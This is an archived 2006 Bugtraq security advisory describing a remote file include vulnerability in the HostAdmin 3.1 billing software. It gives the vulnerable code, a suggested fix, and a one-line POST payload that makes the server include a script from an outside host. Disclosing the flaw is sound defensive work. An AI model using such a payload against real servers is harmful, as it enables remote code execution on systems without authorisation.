| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: 5 Jun 2006 09:49:37 -0000
From: admin@...orsecurity.de
To: bugtraq@...urityfocus.com
Subject: [MajorSecurity #9]HostAdmin <= 3.1 - Remote File Include
Vulnerability
[MajorSecurity #9]HostAdmin <= 3.1 - Remote File Include Vulnerability
-------------------------------------------------------------------------
Software: HostAdmin
Version: <=3.1
Type: Remote File Include Vulnerability
Date: June, 3rd 2006
Vendor: dreamcost
Page: http://dreamcost.com
Risc: High
Credits:
----------------------------
Discovered by: David 'Aesthetico' Vieira-Kurz
http://www.majorsecurity.de
Original Advisory:
----------------------------
http://www.majorsecurity.de/advisory/major_rls9.txt
Affected Products:
----------------------------
HostAdmin 3.1 and prior
Description:
----------------------------
HostAdmin is designed to automate your entire account and order management, recurring billing,
domain registration, server provisioning, and reporting needs. From creating the member account,
logging the member in, displaying available hosting and domain registration options,
providing a shopping cart and ordering mechanism for the available products, and creating the order record,
HostAdmin will handle your requirements with speed and ease.
Requirements:
----------------------------
register_globals = On
Vulnerability:
----------------------------
Input passed to the "path" parameter in "index.php", "functions.php" and "members.php" is not
properly verified, before it is used to include files.
This can be exploited to execute arbitrary code by including files from external resources.
Solution:
----------------------------
I think you can fix this bug by replacing the following vulnerable code in the
this 3 php-files with my one. It should fix the vulnerabilty and solve this
problem.
Vulnerable one: "include($path . "member_template.html");"
MajorSecurity fix: "include("member_template.html");"
Set "register_globals" to "Off".
Exploitation:
----------------------------
Post data:
path=http://www.yourspace.com/yourscript.php?
Powered by blists - more mailing lists